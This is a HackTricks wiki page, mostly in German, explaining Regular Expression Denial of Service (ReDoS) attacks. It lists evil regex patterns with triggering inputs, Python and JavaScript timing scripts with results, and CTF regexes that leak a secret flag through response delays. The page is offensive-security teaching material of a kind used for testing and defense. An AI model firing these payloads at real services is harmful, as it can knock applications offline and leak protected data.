Regular expression Denial of Service - ReDoS

Reading time: 7 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Regular Expression Denial of Service (ReDoS)

Ein Regular Expression Denial of Service (ReDoS) tritt auf, wenn jemand Schwächen in der Funktionsweise von regulären Ausdrücken (einer Möglichkeit, Muster in Text zu suchen und abzugleichen) ausnutzt. Manchmal werden reguläre Ausdrücke sehr langsam, besonders wenn der zu verarbeitende Text länger wird. Diese Verlangsamung kann so stark sein, dass sie bei kleinen Zuwächsen der Textlänge sehr schnell zunimmt. Angreifer können dieses Problem ausnutzen, um ein Programm, das reguläre Ausdrücke verwendet, für längere Zeit funktionsunfähig zu machen.

Der problematische naive Regex‑Algorithmus

Check the details in https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS

Engine behavior and exploitability

  • Most popular engines (PCRE, Java java.util.regex, Python re, JavaScript RegExp) use a backtracking VM. Crafted inputs that create many overlapping ways to match a subpattern force exponential or high-polynomial backtracking.
  • Einige Engines/Libraries sind von vornherein ReDoS-resilient konzipiert (kein Backtracking), z. B. RE2 und Ports, die auf endlichen Automaten basieren und im Worst‑Case lineare Laufzeit bieten; ihr Einsatz für nicht‑vertrauenswürdige Eingaben entfernt die Backtracking‑DoS‑Primitive. Siehe die Referenzen am Ende für Details.

Bösartige Regexes

Ein bösartiges regular expression pattern ist eines, das bei speziell gestalteter Eingabe festhängt und einen DoS verursacht. Bösartige regex‑Patterns enthalten typischerweise Gruppierungen mit Wiederholungen sowie Wiederholung oder Alternation mit Überlappung innerhalb der wiederholten Gruppe. Einige Beispiele für bösartige Patterns sind:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} for x > 10

Alle diese sind gegenüber der Eingabe aaaaaaaaaaaaaaaaaaaaaaaa! anfällig.

Praktische Anleitung zum Erstellen von PoCs

Die meisten katastrophalen Fälle folgen diesem Muster:

  • Prefix, das dich in das verwundbare Subpattern bringt (optional).
  • Eine lange Folge eines Zeichens, die mehrdeutige Matches innerhalb verschachtelter/überlappender Quantifier verursacht (z. B. viele a, _ oder Leerzeichen).
  • Ein abschließendes Zeichen, das das Gesamtergebnis scheitern lässt, sodass die Engine alle Möglichkeiten backtracken muss (oft ein Zeichen, das nicht zum letzten Token passt, wie !).

Minimale Beispiele:

  • (a+)+$ vs input "a"*N + "!"
  • \w*_*\w*$ vs input "v" + "_"*N + "!"

Erhöhe N und beobachte superlineares Wachstum.

Schnelles Timing‑Harness (Python)

python
import re, time
pat = re.compile(r'(\w*_)\w*$')
for n in [2**k for k in range(8, 15)]:
s = 'v' + '_'*n + '!'
t0=time.time(); pat.search(s); dt=time.time()-t0
print(n, f"{dt:.3f}s")

ReDoS Payloads

String Exfiltration via ReDoS

In einem CTF (or bug bounty) kontrollierst du vielleicht den Regex, mit dem eine sensible Information (the flag) abgeglichen wird. Dann kann es nützlich sein, die Seite einfrieren zu lassen (timeout oder längere Verarbeitungszeit), wenn der Regex übereinstimmt und nicht, wenn er es nicht tut. Auf diese Weise kannst du die Zeichenkette exfiltrate char by char:

  • In this post findest du diese ReDoS-Regel: ^(?=<flag>)((.*)*)*salt$
  • Beispiel: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • In this writeup findest du diese: <flag>(((((((.*)*)*)*)*)*)*)!
  • In this writeup verwendete er: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Controlling Input and Regex

Die folgenden ReDoS-Beispiele zeigen Fälle, in denen du sowohl das input als auch den regex kontrollierst:

javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
;[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Hinweise zu Sprachen/Engines für Angreifer

  • JavaScript (browser/Node): Die eingebaute RegExp ist eine Backtracking-Engine und häufig ausnutzbar, wenn regex+Eingabe von Angreifern beeinflusst werden.
  • Python: re verwendet Backtracking. Lange mehrdeutige Läufe plus ein scheiternder Abschluss führen oft zu katastrophalem Backtracking.
  • Java: java.util.regex verwendet Backtracking. Wenn Sie nur die Eingabe kontrollieren, suchen Sie nach Endpunkten mit komplexen Validatoren; wenn Sie Patterns kontrollieren (z. B. gespeicherte Regeln), ist ReDoS meist trivial.
  • Engines wie RE2/RE2J/RE2JS oder das Rust regex crate sind so konzipiert, katastrophales Backtracking zu vermeiden. Wenn Sie auf diese stoßen, konzentrieren Sie sich auf andere Engpässe (z. B. enorme Patterns) oder finden Sie Komponenten, die weiterhin Backtracking-Engines verwenden.

Tools

Tipp: Wenn Sie nur die Eingabe kontrollieren, generieren Sie Zeichenketten mit sich verdoppelnden Längen (z. B. 2^k Zeichen) und messen Sie die Latenz. Exponentielles Wachstum deutet stark auf einen verwertbaren ReDoS hin.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks